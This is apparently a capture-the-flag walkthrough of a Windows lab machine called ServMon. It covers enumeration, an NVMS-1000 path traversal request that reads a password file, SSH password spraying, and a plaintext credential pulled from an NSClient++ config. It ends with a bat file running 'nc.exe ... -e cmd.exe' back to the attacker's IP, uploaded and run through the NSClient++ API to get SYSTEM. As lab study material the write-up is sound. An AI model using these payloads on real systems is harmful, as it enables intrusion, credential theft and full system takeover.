ServMon

Nmap :p

nmap -sC -sV -T4 10.129.70.138
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22  07:35PM       <DIR>          Users
22/tcp   open  ssh           OpenSSH for_Windows_8.0 (protocol 2.0)
80/tcp   open  http
|     window.location.href = "Pages/login.htm";
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5666/tcp open  tcpwrapped
6699/tcp open  napster?
8443/tcp open  ssl/https-alt

A Windows box with anonymous FTP, SSH, a web app on 80 (NVMS-1000, a camera management thing) and something on 8443. Anonymous FTP is the easy first look.

FTP

From anonymous FTP we can access a Users folder and find a Notes to do.txt under Nathan:

1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

And a Confidential.txt under Nadine:

Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

So now we know there’s a Passwords.txt on Nathan’s desktop, we just need a way to read it.

NVMS-1000 LFI

Digging into NVMS-1000 we find a directory traversal vuln, where the app doesn’t stop ../ in the URL path. We can use it to read the file straight off Nathan’s desktop:

GET /../../../../../../../../../../../users/Nathan/Desktop/Passwords.txt HTTP/1.1

image

Throwing this into passwords.txt and making a users.txt with nathan and nadine, we can spray SSH and get a hit for nadine:

nxc ssh 10.129.70.138 -u users.txt -p passwords.txt
SSH         10.129.70.138   22     10.129.70.138    [*] SSH-2.0-OpenSSH_for_Windows_8.0
SSH         10.129.70.138   22     10.129.70.138    [-] nadine:1nsp3ctTh3Way2Mars!
SSH         10.129.70.138   22     10.129.70.138    [-] nathan:1nsp3ctTh3Way2Mars!
...
SSH         10.129.70.138   22     10.129.70.138    [+] nadine:L1k3B1gBut7s@W0rk  Windows - Shell access!

SSH in as nadine and we get the user flag.

NSClient++

Remember item 2 on the to do list, “Lock down the NSClient Access”. NSClient++ is a monitoring agent, and it’s what’s running on 8443. Its config file stores the web admin password in plaintext:

nadine@SERVMON C:\Users\Nadine> type "C:\Program Files\NSClient++\nsclient.ini"
...
[/settings/default]
password = ew2x6SsGTxjRwXOT
allowed hosts = 127.0.0.1

This tells us two things. The NSClient++ admin password is ew2x6SsGTxjRwXOT, and the web interface only accepts connections from 127.0.0.1. So we have to come at it through an SSH tunnel as nadine:

ssh -L 8443:127.0.0.1:8443 nadine@10.129.70.138

Now https://127.0.0.1:8443 on kali hits the NSClient++ web UI as if we’re on the box. The web UI was pretty unstable for me and kept failing TLS, so the API ended up being way more reliable than clicking around.

Privesc

NSClient++ 0.5.2.35 has a known privesc (Exploit-DB 46802). Anyone who can log in to it can add “external scripts” and tell NSClient to run them, and the NSClient service runs as SYSTEM. So we just give it a script that sends us a shell.

First we copy nc.exe over to the box:

scp nc.exe nadine@10.129.70.138:'C:/Users/Nadine/Downloads/nc.exe'

Then make a bat file on kali that calls it:

echo 'C:\Users\Nadine\Downloads\nc.exe 10.10.17.229 4444 -e cmd.exe' > evil.bat
nc -lvnp 4444

Upload the script through the API and then tell NSClient to run it:

curl -sk -u admin:ew2x6SsGTxjRwXOT -X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/evil.bat --data-binary @evil.bat
curl -sk -u admin:ew2x6SsGTxjRwXOT "https://127.0.0.1:8443/api/v1/queries/evil/commands/execute?time=1m"

We catch the shell back:

C:\Program Files\NSClient++> whoami
nt authority\system

Confirmed SYSTEM, now we can grab the root flag:

type C:\Users\Administrator\Desktop\root.txt

Ez gg.